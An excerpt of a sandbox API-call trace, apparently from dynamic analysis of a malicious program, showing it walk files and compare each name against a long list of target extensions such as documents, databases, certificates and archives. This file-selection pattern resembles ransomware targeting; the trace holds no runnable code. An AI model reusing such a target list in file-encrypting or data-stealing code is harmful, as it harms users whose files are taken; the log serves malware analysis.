(lpString1=".lgp", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".log") returned 4 [0090.695] lstrcmpiW (lpString1=".log", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".m1v") returned 4 [0090.695] lstrcmpiW (lpString1=".m1v", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".m4a") returned 4 [0090.695] lstrcmpiW (lpString1=".m4a", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".m4v") returned 4 [0090.695] lstrcmpiW (lpString1=".m4v", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".max") returned 4 [0090.695] lstrcmpiW (lpString1=".max", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".md") returned 3 [0090.695] lstrcmpiW (lpString1=".md", lpString2="DLL") returned -1 [0090.695] lstrlenW (lpString=".mda") returned 4 [0090.695] lstrcmpiW (lpString1=".mda", lpString2=".DLL") returned 1 [0090.695] lstrlenW (lpString=".mdb") returned 4 [0090.696] lstrcmpiW (lpString1=".mdb", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mde") returned 4 [0090.696] lstrcmpiW (lpString1=".mde", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mdf") returned 4 [0090.696] lstrcmpiW (lpString1=".mdf", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mdw") returned 4 [0090.696] lstrcmpiW (lpString1=".mdw", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mef") returned 4 [0090.696] lstrcmpiW (lpString1=".mef", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mft") returned 4 [0090.696] lstrcmpiW (lpString1=".mft", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mfw") returned 4 [0090.696] lstrcmpiW (lpString1=".mfw", lpString2=".DLL") returned 1 [0090.696] lstrlenW (lpString=".mht") returned 4 [0090.697] lstrcmpiW (lpString1=".mht", lpString2=".DLL") returned 1 [0090.697] lstrlenW (lpString=".mhtml") returned 6 [0090.697] lstrcmpiW (lpString1=".mhtml", lpString2="UI.DLL") returned -1 [0090.697] lstrlenW (lpString=".mka") returned 4 [0090.697] lstrcmpiW (lpString1=".mka", lpString2=".DLL") returned 1 [0090.697] lstrlenW (lpString=".mkidx") returned 6 [0090.697] lstrcmpiW (lpString1=".mkidx", lpString2="UI.DLL") returned -1 [0090.697] lstrlenW (lpString=".mkv") returned 4 [0090.697] lstrcmpiW (lpString1=".mkv", lpString2=".DLL") returned 1 [0090.697] lstrlenW (lpString=".mos") returned 4 [0090.697] lstrcmpiW (lpString1=".mos", lpString2=".DLL") returned 1 [0090.697] lstrlenW (lpString=".mov") returned 4 [0090.698] lstrcmpiW (lpString1=".mov", lpString2=".DLL") returned 1 [0090.698] lstrlenW (lpString=".mp3") returned 4 [0090.698] lstrcmpiW (lpString1=".mp3", lpString2=".DLL") returned 1 [0090.698] lstrlenW (lpString=".mp4") returned 4 [0090.698] lstrcmpiW (lpString1=".mp4", lpString2=".DLL") returned 1 [0090.698] lstrlenW (lpString=".mpeg") returned 5 [0090.698] lstrcmpiW (lpString1=".mpeg", lpString2="I.DLL") returned -1 [0090.698] lstrlenW (lpString=".mpg") returned 4 [0090.698] lstrcmpiW (lpString1=".mpg", lpString2=".DLL") returned 1 [0090.698] lstrlenW (lpString=".mpv") returned 4 [0090.698] lstrcmpiW (lpString1=".mpv", lpString2=".DLL") returned 1 [0090.698] lstrlenW (lpString=".mrw") returned 4 [0090.698] lstrcmpiW (lpString1=".mrw", lpString2=".DLL") returned 1 [0090.698] lstrlenW (lpString=".msg") returned 4 [0090.698] lstrcmpiW (lpString1=".msg", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".mxl") returned 4 [0090.699] lstrcmpiW (lpString1=".mxl", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".myd") returned 4 [0090.699] lstrcmpiW (lpString1=".myd", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".myi") returned 4 [0090.699] lstrcmpiW (lpString1=".myi", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".nef") returned 4 [0090.699] lstrcmpiW (lpString1=".nef", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".nrw") returned 4 [0090.699] lstrcmpiW (lpString1=".nrw", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".obj") returned 4 [0090.699] lstrcmpiW (lpString1=".obj", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".odb") returned 4 [0090.699] lstrcmpiW (lpString1=".odb", lpString2=".DLL") returned 1 [0090.699] lstrlenW (lpString=".odc") returned 4 [0090.699] lstrcmpiW (lpString1=".odc", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".odm") returned 4 [0090.700] lstrcmpiW (lpString1=".odm", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".odp") returned 4 [0090.700] lstrcmpiW (lpString1=".odp", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".ods") returned 4 [0090.700] lstrcmpiW (lpString1=".ods", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".oft") returned 4 [0090.700] lstrcmpiW (lpString1=".oft", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".one") returned 4 [0090.700] lstrcmpiW (lpString1=".one", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".onepkg") returned 7 [0090.700] lstrcmpiW (lpString1=".onepkg", lpString2="SUI.DLL") returned -1 [0090.700] lstrlenW (lpString=".onetoc2") returned 8 [0090.700] lstrcmpiW (lpString1=".onetoc2", lpString2="DSUI.DLL") returned -1 [0090.700] lstrlenW (lpString=".opt") returned 4 [0090.700] lstrcmpiW (lpString1=".opt", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".oqy") returned 4 [0090.700] lstrcmpiW (lpString1=".oqy", lpString2=".DLL") returned 1 [0090.700] lstrlenW (lpString=".orf") returned 4 [0090.700] lstrcmpiW (lpString1=".orf", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".p12") returned 4 [0090.701] lstrcmpiW (lpString1=".p12", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".p7b") returned 4 [0090.701] lstrcmpiW (lpString1=".p7b", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".p7c") returned 4 [0090.701] lstrcmpiW (lpString1=".p7c", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".pam") returned 4 [0090.701] lstrcmpiW (lpString1=".pam", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".pbm") returned 4 [0090.701] lstrcmpiW (lpString1=".pbm", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".pct") returned 4 [0090.701] lstrcmpiW (lpString1=".pct", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".pcx") returned 4 [0090.701] lstrcmpiW (lpString1=".pcx", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".pdd") returned 4 [0090.701] lstrcmpiW (lpString1=".pdd", lpString2=".DLL") returned 1 [0090.701] lstrlenW (lpString=".pdf") returned 4 [0090.702] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pdp") returned 4 [0090.702] lstrcmpiW (lpString1=".pdp", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pef") returned 4 [0090.702] lstrcmpiW (lpString1=".pef", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pem") returned 4 [0090.702] lstrcmpiW (lpString1=".pem", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pff") returned 4 [0090.702] lstrcmpiW (lpString1=".pff", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pfm") returned 4 [0090.702] lstrcmpiW (lpString1=".pfm", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pfx") returned 4 [0090.702] lstrcmpiW (lpString1=".pfx", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".pgm") returned 4 [0090.702] lstrcmpiW (lpString1=".pgm", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".php") returned 4 [0090.702] lstrcmpiW (lpString1=".php", lpString2=".DLL") returned 1 [0090.702] lstrlenW (lpString=".php3") returned 5 [0090.702] lstrcmpiW (lpString1=".php3", lpString2="I.DLL") returned -1 [0090.703] lstrlenW (lpString=".php4") returned 5 [0090.703] lstrcmpiW (lpString1=".php4", lpString2="I.DLL") returned -1 [0090.703] lstrlenW (lpString=".php5") returned 5 [0090.703] lstrcmpiW (lpString1=".php5", lpString2="I.DLL") returned -1 [0090.703] lstrlenW (lpString=".phtml") returned 6 [0090.703] lstrcmpiW (lpString1=".phtml", lpString2="UI.DLL") returned -1 [0090.703] lstrlenW (lpString=".pict") returned 5 [0090.703] lstrcmpiW (lpString1=".pict", lpString2="I.DLL") returned -1 [0090.703] lstrlenW (lpString=".pl") returned 3 [0090.703] lstrcmpiW (lpString1=".pl", lpString2="DLL") returned -1 [0090.703] lstrlenW (lpString=".pls") returned 4 [0090.703] lstrcmpiW (lpString1=".pls", lpString2=".DLL") returned 1 [0090.703] lstrlenW (lpString=".pm") returned 3 [0090.703] lstrcmpiW (lpString1=".pm", lpString2="DLL") returned -1 [0090.703] lstrlenW (lpString=".png") returned 4 [0090.703] lstrcmpiW (lpString1=".png", lpString2=".DLL") returned 1 [0090.703] lstrlenW (lpString=".pnm") returned 4 [0090.704] lstrcmpiW (lpString1=".pnm", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".pot") returned 4 [0090.704] lstrcmpiW (lpString1=".pot", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".potm") returned 5 [0090.704] lstrcmpiW (lpString1=".potm", lpString2="I.DLL") returned -1 [0090.704] lstrlenW (lpString=".potx") returned 5 [0090.704] lstrcmpiW (lpString1=".potx", lpString2="I.DLL") returned -1 [0090.704] lstrlenW (lpString=".ppa") returned 4 [0090.704] lstrcmpiW (lpString1=".ppa", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".ppam") returned 5 [0090.704] lstrcmpiW (lpString1=".ppam", lpString2="I.DLL") returned -1 [0090.704] lstrlenW (lpString=".ppm") returned 4 [0090.704] lstrcmpiW (lpString1=".ppm", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".pps") returned 4 [0090.704] lstrcmpiW (lpString1=".pps", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".ppsm") returned 5 [0090.704] lstrcmpiW (lpString1=".ppsm", lpString2="I.DLL") returned -1 [0090.704] lstrlenW (lpString=".ppt") returned 4 [0090.704] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".pptm") returned 5 [0090.704] lstrcmpiW (lpString1=".pptm", lpString2="I.DLL") returned -1 [0090.704] lstrlenW (lpString=".pptx") returned 5 [0090.704] lstrcmpiW (lpString1=".pptx", lpString2="I.DLL") returned -1 [0090.704] lstrlenW (lpString=".prn") returned 4 [0090.704] lstrcmpiW (lpString1=".prn", lpString2=".DLL") returned 1 [0090.704] lstrlenW (lpString=".ps") returned 3 [0090.704] lstrcmpiW (lpString1=".ps", lpString2="DLL") returned -1 [0090.704] lstrlenW (lpString=".psb") returned 4 [0090.705] lstrcmpiW (lpString1=".psb", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".psd") returned 4 [0090.705] lstrcmpiW (lpString1=".psd", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".pst") returned 4 [0090.705] lstrcmpiW (lpString1=".pst", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".ptx") returned 4 [0090.705] lstrcmpiW (lpString1=".ptx", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".pub") returned 4 [0090.705] lstrcmpiW (lpString1=".pub", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".pwm") returned 4 [0090.705] lstrcmpiW (lpString1=".pwm", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".pxr") returned 4 [0090.705] lstrcmpiW (lpString1=".pxr", lpString2=".DLL") returned 1 [0090.705] lstrlenW (lpString=".py") returned 3 [0090.705] lstrcmpiW (lpString1=".py", lpString2="DLL") returned -1 [0090.705] lstrlenW (lpString=".qt") returned 3 [0090.705] lstrcmpiW (lpString1=".qt", lpString2="DLL") returned -1 [0090.705] lstrlenW (lpString=".r3d") returned 4 [0090.941] lstrcmpiW (lpString1=".r3d", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".raf") returned 4 [0090.941] lstrcmpiW (lpString1=".raf", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".rar") returned 4 [0090.941] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".raw") returned 4 [0090.941] lstrcmpiW (lpString1=".raw", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".rdf") returned 4 [0090.941] lstrcmpiW (lpString1=".rdf", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".rgbe") returned 5 [0090.941] lstrcmpiW (lpString1=".rgbe", lpString2="I.DLL") returned -1 [0090.941] lstrlenW (lpString=".rle") returned 4 [0090.941] lstrcmpiW (lpString1=".rle", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".rqy") returned 4 [0090.941] lstrcmpiW (lpString1=".rqy", lpString2=".DLL") returned 1 [0090.941] lstrlenW (lpString=".rss") returned 4 [0090.942] lstrcmpiW (lpString1=".rss", lpString2=".DLL") returned 1 [0090.942] lstrlenW (lpString=".rtf") returned 4 [0090.942] lstrcmpiW (lpString1=".rtf", lpString2=".DLL") returned 1 [0090.942] lstrlenW (lpString=".rw2") returned 4 [0090.942] lstrcmpiW (lpString1=".rw2", lpString2=".DLL") returned 1 [0090.942] lstrlenW (lpString=".rwl") returned 4 [0090.942] lstrcmpiW (lpString1=".rwl", lpString2=".DLL") returned 1 [0090.942] lstrlenW (lpString=".safe") returned 5 [0090.942] lstrcmpiW (lpString1=".safe", lpString2="I.DLL") returned -1 [0090.942] lstrlenW (lpString=".sct") returned 4 [0090.942] lstrcmpiW (lpString1=".sct", lpString2=".DLL") returned 1 [0090.942] lstrlenW (lpString=".sdpx") returned 5 [0090.943] lstrcmpiW (lpString1=".sdpx", lpString2="I.DLL") returned -1 [0090.943] lstrlenW (lpString=".shtm") returned 5 [0090.943] lstrcmpiW (lpString1=".shtm", lpString2="I.DLL") returned -1 [0090.943] lstrlenW (lpString=".shtml") returned 6 [0090.943] lstrcmpiW (lpString1=".shtml", lpString2="UI.DLL") returned -1 [0090.943] lstrlenW (lpString=".slk") returned 4 [0090.943] lstrcmpiW (lpString1=".slk", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".sln") returned 4 [0090.943] lstrcmpiW (lpString1=".sln", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".sql") returned 4 [0090.943] lstrcmpiW (lpString1=".sql", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".sr2") returned 4 [0090.943] lstrcmpiW (lpString1=".sr2", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".srf") returned 4 [0090.943] lstrcmpiW (lpString1=".srf", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".srw") returned 4 [0090.943] lstrcmpiW (lpString1=".srw", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".ssi") returned 4 [0090.943] lstrcmpiW (lpString1=".ssi", lpString2=".DLL") returned 1 [0090.943] lstrlenW (lpString=".st") returned 3 [0090.944] lstrcmpiW (lpString1=".st", lpString2="DLL") returned -1 [0090.944] lstrlenW (lpString=".stm") returned 4 [0090.944] lstrcmpiW (lpString1=".stm", lpString2=".DLL") returned 1 [0090.944] lstrlenW (lpString=".svg") returned 4 [0090.944] lstrcmpiW (lpString1=".svg", lpString2=".DLL") returned 1 [0090.944] lstrlenW (lpString=".svgz") returned 5 [0090.944] lstrcmpiW (lpString1=".svgz", lpString2="I.DLL") returned -1 [0090.944] lstrlenW (lpString=".swf") returned 4 [0090.944] lstrcmpiW (lpString1=".swf", lpString2=".DLL") returned 1 [0090.944] lstrlenW (lpString=".tab") returned 4 [0090.945] lstrcmpiW (lpString1=".tab", lpString2=".DLL") returned 1 [0090.945] lstrlenW (lpString=".tar") returned 4 [0090.945] lstrcmpiW (lpString1=".tar", lpString2=".DLL") returned 1 [0090.945] lstrlenW (lpString=".tbb") returned 4 [0090.945] lstrcmpiW (lpString1=".tbb", lpString2=".DLL") returned 1 [0090.945] lstrlenW (lpString=".tbi") returned 4 [0090.945] lstrcmpiW (lpString1=".tbi", lpString2=".DLL") returned 1 [0090.945] lstrlenW (lpString=".tbk") returned 4 [0090.945] lstrcmpiW (lpString1=".tbk", lpString2=".DLL") returned 1 [0090.945] lstrlenW (lpString=".tdi") returned 4 [0090.945] lstrcmpiW (lpString1=".tdi", lpString2=".DLL") returned 1 [0090.945] lstrlenW (lpString=".tga") returned 4 [0090.945] lstrcmpiW (lpString1=".tga", lpString2=".DLL") returned 1 [0090.946] lstrlenW (lpString=".thmx") returned 5 [0090.946] lstrcmpiW (lpString1=".thmx", lpString2="I.DLL") returned -1 [0090.946] lstrlenW (lpString=".tif") returned 4 [0090.946] lstrcmpiW (lpString1=".tif", lpString2=".DLL") returned 1 [0090.946] lstrlenW (lpString=".tiff") returned 5 [0090.946] lstrcmpiW (lpString1=".tiff", lpString2="I.DLL") returned -1 [0090.946] lstrlenW (lpString=".tld") returned 4 [0090.946] lstrcmpiW (lpString1=".tld", lpString2=".DLL") returned 1 [0090.946] lstrlenW (lpString=".torrent") returned 8 [0090.947] lstrcmpiW (lpString1=".torrent", lpString2="DSUI.DLL") returned -1 [0090.947] lstrlenW (lpString=".tpl") returned 4 [0090.947] lstrcmpiW (lpString1=".tpl", lpString2=".DLL") returned 1 [0090.947] lstrlenW (lpString=".txt") returned 4 [0090.947] lstrcmpiW (lpString1=".txt", lpString2=".DLL") returned 1 [0090.947] lstrlenW (lpString=".u3d") returned 4 [0090.947] lstrcmpiW (lpString1=".u3d", lpString2=".DLL") returned 1 [0090.947] lstrlenW (lpString=".udl") returned 4 [0090.947] lstrcmpiW (lpString1=".udl", lpString2=".DLL") returned 1 [0090.947] lstrlenW (lpString=".uxdc") returned 5 [0090.947] lstrcmpiW (lpString1=".uxdc", lpString2="I.DLL") returned -1 [0090.947] lstrlenW (lpString=".vb") returned 3 [0090.948] lstrcmpiW (lpString1=".vb", lpString2="DLL") returned -1 [0090.948] lstrlenW (lpString=".vbs") returned 4 [0090.948] lstrcmpiW (lpString1=".vbs", lpString2=".DLL") returned 1 [0090.948] lstrlenW (lpString=".vcs") returned 4 [0090.948] lstrcmpiW (lpString1=".vcs", lpString2=".DLL") returned 1 [0090.948] lstrlenW (lpString=".vda") returned 4 [0090.948] lstrcmpiW (lpString1=".vda", lpString2=".DLL") returned 1 [0090.948] lstrlenW (lpString=".vdr") returned 4 [0090.948] lstrcmpiW (lpString1=".vdr", lpString2=".DLL") returned 1 [0090.948] lstrlenW (lpString=".vdw") returned 4 [0090.949] lstrcmpiW (lpString1=".vdw", lpString2=".DLL") returned 1 [0090.949] lstrlenW (lpString=".vdx") returned 4 [0090.949] lstrcmpiW (lpString1=".vdx", lpString2=".DLL") returned 1 [0090.949] lstrlenW (lpString=".vrp") returned 4 [0090.949] lstrcmpiW (lpString1=".vrp", lpString2=".DLL") returned 1 [0090.949] lstrlenW (lpString=".vsd") returned 4 [0090.949] lstrcmpiW (lpString1=".vsd", lpString2=".DLL") returned 1 [0090.949] lstrlenW (lpString=".vss") returned 4 [0090.949] lstrcmpiW (lpString1=".vss", lpString2=".DLL") returned 1 [0090.949] lstrlenW (lpString=".vst") returned 4 [0090.949] lstrcmpiW (lpString1=".vst", lpString2=".DLL") returned 1 [0090.949] lstrlenW (lpString=".vsw") returned 4 [0090.950] lstrcmpiW (lpString1=".vsw", lpString2=".DLL") returned 1 [0090.950] lstrlenW (lpString=".vsx") returned 4 [0090.950] lstrcmpiW (lpString1=".vsx", lpString2=".DLL") returned 1 [0090.950] lstrlenW (lpString=".vtm") returned 4 [0090.950] lstrcmpiW (lpString1=".vtm", lpString2=".DLL") returned 1 [0090.950] lstrlenW (lpString=".vtml") returned 5 [0090.950] lstrcmpiW (lpString1=".vtml", lpString2="I.DLL") returned -1 [0090.950] lstrlenW (lpString=".vtx") returned 4 [0090.950] lstrcmpiW (lpString1=".vtx", lpString2=".DLL") returned 1 [0090.950] lstrlenW (lpString=".wb2") returned 4 [0090.950] lstrcmpiW (lpString1=".wb2", lpString2=".DLL") returned 1 [0090.950] lstrlenW (lpString=".wav") returned 4 [0090.951] lstrcmpiW (lpString1=".wav", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wbm") returned 4 [0090.951] lstrcmpiW (lpString1=".wbm", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wbmp") returned 5 [0090.951] lstrcmpiW (lpString1=".wbmp", lpString2="I.DLL") returned -1 [0090.951] lstrlenW (lpString=".wim") returned 4 [0090.951] lstrcmpiW (lpString1=".wim", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wmf") returned 4 [0090.951] lstrcmpiW (lpString1=".wmf", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wml") returned 4 [0090.951] lstrcmpiW (lpString1=".wml", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wmv") returned 4 [0090.951] lstrcmpiW (lpString1=".wmv", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wpd") returned 4 [0090.951] lstrcmpiW (lpString1=".wpd", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".wps") returned 4 [0090.951] lstrcmpiW (lpString1=".wps", lpString2=".DLL") returned 1 [0090.951] lstrlenW (lpString=".x3f") returned 4 [0090.952] lstrcmpiW (lpString1=".x3f", lpString2=".DLL") returned 1 [0090.952] lstrlenW (lpString=".xl") returned 3 [0090.952] lstrcmpiW (lpString1=".xl", lpString2="DLL") returned -1 [0090.952] lstrlenW (lpString=".xla") returned 4 [0090.952] lstrcmpiW (lpString1=".xla", lpString2=".DLL") returned 1 [0090.952] lstrlenW (lpString=".xlam") returned 5 [0090.952] lstrcmpiW (lpString1=".xlam", lpString2="I.DLL") returned -1 [0090.952] lstrlenW (lpString=".xlk") returned 4 [0090.952] lstrcmpiW (lpString1=".xlk", lpString2=".DLL") returned 1 [0090.952] lstrlenW (lpString=".xlm") returned 4 [0090.952] lstrcmpiW (lpString1=".xlm", lpString2=".DLL") returned 1 [0090.953] lstrlenW (lpString=".xls") returned 4 [0090.953] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0090.953] lstrlenW (lpString=".xlsb") returned 5 [0090.953] lstrcmpiW (lpString1=".xlsb", lpString2="I.DLL") returned -1 [0090.953] lstrlenW (lpString=".xlsm") returned 5 [0090.953] lstrcmpiW (lpString1=".xlsm", lpString2="I.DLL") returned -1 [0090.953] lstrlenW (lpString=".xlsx") returned 5 [0090.953] lstrcmpiW (lpString1=".xlsx", lpString2="I.DLL") returned -1 [0090.953] lstrlenW (lpString=".xlt") returned 4 [0090.953] lstrcmpiW (lpString1=".xlt", lpString2=".DLL") returned 1 [0090.953] lstrlenW (lpString=".xltm") returned 5 [0090.953] lstrcmpiW (lpString1=".xltm", lpString2="I.DLL") returned -1 [0090.953] lstrlenW (lpString=".xltx") returned 5 [0090.953] lstrcmpiW (lpString1=".xltx", lpString2="I.DLL") returned -1 [0090.953] lstrlenW (lpString=".xlw") returned 4 [0090.953] lstrcmpiW (lpString1=".xlw", lpString2=".DLL") returned 1 [0090.953] lstrlenW (lpString=".xml") returned 4 [0090.954] lstrcmpiW (lpString1=".xml", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xps") returned 4 [0090.954] lstrcmpiW (lpString1=".xps", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xsd") returned 4 [0090.954] lstrcmpiW (lpString1=".xsd", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xsf") returned 4 [0090.954] lstrcmpiW (lpString1=".xsf", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xsl") returned 4 [0090.954] lstrcmpiW (lpString1=".xsl", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xslt") returned 5 [0090.954] lstrcmpiW (lpString1=".xslt", lpString2="I.DLL") returned -1 [0090.954] lstrlenW (lpString=".xsn") returned 4 [0090.954] lstrcmpiW (lpString1=".xsn", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xtp") returned 4 [0090.954] lstrcmpiW (lpString1=".xtp", lpString2=".DLL") returned 1 [0090.954] lstrlenW (lpString=".xtp2") returned 5 [0090.955] lstrcmpiW (lpString1=".xtp2", lpString2="I.DLL") returned -1 [0090.955] lstrlenW (lpString=".xyze") returned 5 [0090.955] lstrcmpiW (lpString1=".xyze", lpString2="I.DLL") returned -1 [0090.955] lstrlenW (lpString=".xz") returned 3 [0090.955] lstrcmpiW (lpString1=".xz", lpString2="DLL") returned -1 [0090.955] lstrlenW (lpString=".zip") returned 4 [0090.955] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0090.955] FindNextFileW (in: hFindFile=0x3974370, lpFindFileData=0x340f310 | out: lpFindFileData=0x340f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d407000, ftCreationTime.dwHighDateTime=0x1ca8d26, ftLastAccessTime.dwLowDateTime=0x14ebe6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9d407000, ftLastWriteTime.dwHighDateTime=0x1ca8d26, nFileSizeHigh=0x0, nFileSizeLow=0x79000, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACCESS12.ACC", cAlternateFileName="")) returned 1 [0090.956] lstrlenW (lpString="ACCESS12.ACC") returned 12 [0090.956] lstrlenW (lpString=".1cd") returned 4 [0090.956] lstrcmpiW (lpString1=".1cd", lpString2=".ACC") returned -1 [0090.956] lstrlenW (lpString=".3ds") returned 4 [0090.956] lstrcmpiW (lpString1=".3ds", lpString2=".ACC") returned -1 [0090.956] lstrlenW (lpString=".3fr") returned 4 [0090.956] lstrcmpiW (lpString1=".3fr", lpString2=".ACC") returned -1 [0090.956] lstrlenW (lpString=".3g2") returned 4 [0090.956] lstrcmpiW (lpString1=".3g2", lpString2=".ACC") returned -1 [0090.956] lstrlenW (lpString=".3gp") returned 4 [0090.956] lstrcmpiW (lpString1=".3gp", lpString2=".ACC") returned -1 [0090.956] lstrlenW (lpString=".7z") returned 3 [0090.956] lstrcmpiW (lpString1=".7z", lpString2="ACC") returned -1 [0090.957] lstrlenW (lpString=".accda") returned 6 [0090.957] lstrcmpiW (lpString1=".accda", lpString2="12.ACC") returned -1 [0090.957] lstrlenW (lpString=".accdb") returned 6 [0090.957] lstrcmpiW (lpString1=".accdb", lpString2="12.ACC") returned -1 [0090.957] lstrlenW (lpString=".accdc") returned 6 [0090.957] lstrcmpiW (lpString1=".accdc", lpString2="12.ACC") returned -1 [0090.957] lstrlenW (lpString=".accde") returned 6 [0090.957] lstrcmpiW (lpString1=".accde", lpString2="12.ACC") returned -1 [0090.957] lstrlenW (lpString=".accdt") returned 6 [0090.957] lstrcmpiW (lpString1=".accdt", lpString2="12.ACC") returned -1 [0090.957] lstrlenW (lpString=".accdw") returned 6 [0090.957] lstrcmpiW (lpString1=".accdw", lpString2="12.ACC") returned -1 [0090.957] lstrlenW (lpString=".adb") returned 4 [0090.957] lstrcmpiW (lpString1=".adb", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".adp") returned 4 [0090.958] lstrcmpiW (lpString1=".adp", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".ai") returned 3 [0090.958] lstrcmpiW (lpString1=".ai", lpString2="ACC") returned -1 [0090.958] lstrlenW (lpString=".ai3") returned 4 [0090.958] lstrcmpiW (lpString1=".ai3", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".ai4") returned 4 [0090.958] lstrcmpiW (lpString1=".ai4", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".ai5") returned 4 [0090.958] lstrcmpiW (lpString1=".ai5", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".ai6") returned 4 [0090.958] lstrcmpiW (lpString1=".ai6", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".ai7") returned 4 [0090.958] lstrcmpiW (lpString1=".ai7", lpString2=".ACC") returned 1 [0090.958] lstrlenW (lpString=".ai8") returned 4 [0090.959] lstrcmpiW (lpString1=".ai8", lpString2=".ACC") returned 1 [0090.959] lstrlenW (lpString=".anim") returned 5 [0090.959] lstrcmpiW (lpString1=".anim", lpString2="2.ACC") returned -1 [0090.959] lstrlenW (lpString=".arw") returned 4 [0090.959] lstrcmpiW (lpString1=".arw", lpString2=".ACC") returned 1 [0090.959] lstrlenW (lpString=".as") returned 3 [0090.959] lstrcmpiW (lpString1=".as", lpString2="ACC") returned -1 [0090.959] lstrlenW (lpString=".asa") returned 4 [0090.959] lstrcmpiW (lpString1=".asa", lpString2=".ACC") returned 1 [0090.959] lstrlenW (lpString=".asc") returned 4 [0090.959] lstrcmpiW (lpString1=".asc", lpString2=".ACC") returned 1 [0090.959] lstrlenW (lpString=".ascx") returned 5 [0090.959] lstrcmpiW (lpString1=".ascx", lpString2="2.ACC") returned -1 [0090.959] lstrlenW (lpString=".asm") returned 4 